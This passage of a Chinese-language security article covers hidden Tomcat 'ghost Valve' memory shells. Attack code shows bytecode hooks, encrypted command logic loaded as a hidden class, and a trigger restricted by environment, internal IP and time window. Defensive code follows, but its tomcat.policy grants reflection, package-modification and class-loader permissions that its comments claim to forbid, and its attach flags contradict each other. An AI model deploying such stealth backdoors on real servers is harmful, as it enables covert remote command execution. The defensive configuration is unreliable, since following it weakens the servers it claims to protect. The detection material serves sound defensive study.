                
                // 幽灵Valve:不加入主数组,加入隐藏列表
                mv.visitVarInsn(Opcodes.ALOAD, 0);  // this
                mv.visitVarInsn(Opcodes.ALOAD, 1);  // Valve
                mv.visitMethodInsn(Opcodes.INVOKESTATIC, 
                                  "com/evil/EmbeddedLogic", 
                                  "addToGhostList", 
                                  "(Lorg/apache/catalina/core/StandardPipeline;Lorg/apache/catalina/Valve;)V", 
                                  false);
                mv.visitInsn(Opcodes.RETURN);
                
                mv.visitLabel(normalPath);
                super.visitCode();
            }
        };
    }
    return super.visitMethod(access, name, desc, signature, exceptions);
}

2. 动态代码解密

java
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
public class EmbeddedLogic {
    // 加密的命令执行逻辑
    private static final byte[] ENCRYPTED_LOGIC = {0x12, 0x45, 0x78, ...};
    
    public static void executeCommand(String cmd, Response response) {
        try {
            // 动态解密并执行
            byte[] decrypted = decrypt(ENCRYPTED_LOGIC, getRuntimeKey());
            MethodHandle mh = MethodHandles.lookup().defineHiddenClass(
                decrypted, true, MethodHandles.Lookup.ClassOption.NESTMATE)
                .findStatic("Stealth", "run", MethodType.methodType(void.class, String.class, Response.class));
            
            mh.invokeExact(cmd, response);
        } catch (Throwable e) {
            // 错误处理
        }
    }
    
    // 基于环境动态生成密钥
    private static byte[] getRuntimeKey() {
        String seed = System.getProperty("user.name") + 
                      System.getenv("CATALINA_HOME");
        return MessageDigest.getInstance("SHA-256")
            .digest(seed.getBytes());
    }
}

3. 环境感知伪装

java
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
public static boolean checkRequest(Request request) {
    // 仅在生产环境激活
    if (!"production".equals(System.getProperty("app.env"))) {
        return false;
    }
    
    // 检查请求来源IP(仅允许内网)
    String remoteAddr = request.getRemoteAddr();
    if (!remoteAddr.startsWith("192.168.") && 
        !remoteAddr.startsWith("10.")) {
        return false;
    }
    
    // 检查请求时间(仅UTC 02:00-04:00激活)
    ZonedDateTime now = ZonedDateTime.now(ZoneId.of("UTC"));
    if (now.getHour() < 2 || now.getHour() > 4) {
        return false;
    }
    
    // 真正的触发逻辑...
}

四、检测防御策略

1. 类完整性验证

java
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
public class ClassIntegrityVerifier {
    private static final Map<String, String> KNOWN_DIGESTS = Map.of(
        "org.apache.catalina.core.StandardPipeline", "a1b2c3d4...",
        "org.apache.catalina.core.StandardContextValve", "e5f6g7h8..."
    );
    
    public static void verify() {
        for (Class<?> clazz : Instrumentation.getAllLoadedClasses()) {
            String digest = calculateClassDigest(clazz);
            String expected = KNOWN_DIGESTS.get(clazz.getName());
            
            if (expected != null && !expected.equals(digest)) {
                SecurityLogger.alert("Class tampered: " + clazz.getName());
            }
        }
    }
    
    private static String calculateClassDigest(Class<?> clazz) {
        try {
            byte[] bytecode = getClassBytes(clazz);
            return DigestUtils.sha256Hex(bytecode);
        } catch (Exception e) {
            return "error";
        }
    }
}

2. 运行时行为监控

java
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public class PipelineMonitorValve extends ValveBase {
    private final Valve original;
    private final AtomicInteger requestCount = new AtomicInteger();
    
    public PipelineMonitorValve(Valve original) {
        this.original = original;
    }
    
    @Override
    public void invoke(Request request, Response response) {
        long start = System.nanoTime();
        original.invoke(request, response);
        long duration = System.nanoTime() - start;
        
        // 异常检测逻辑
        if (duration > TimeUnit.MILLISECONDS.toNanos(500)) {
            SecurityLogger.logLongInvocation(request, duration);
        }
        
        if (requestCount.incrementAndGet() % 1000 == 0) {
            SecurityLogger.snapshotPipelineState();
        }
    }
}

3. JVM层防护

text
1
2
3
4
5
6
7
# 启用JVM安全策略
-Djava.security.manager 
-Djava.security.policy==tomcat.policy

# 禁止非法Attach
-Djdk.attach.allowAttachSelf=false
-Djdk.attach.allowAttachSelf=true:com.trusted.app

tomcat.policy示例:

text
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
grant {
    // 禁止关键包修改
    permission java.lang.RuntimePermission "modifyPackage.org.apache.catalina.core";
    
    // 限制反射访问
    permission java.lang.reflect.ReflectPermission "suppressAccessChecks";
    
    // 禁止创建类加载器
    permission java.lang.RuntimePermission "createClassLoader";
};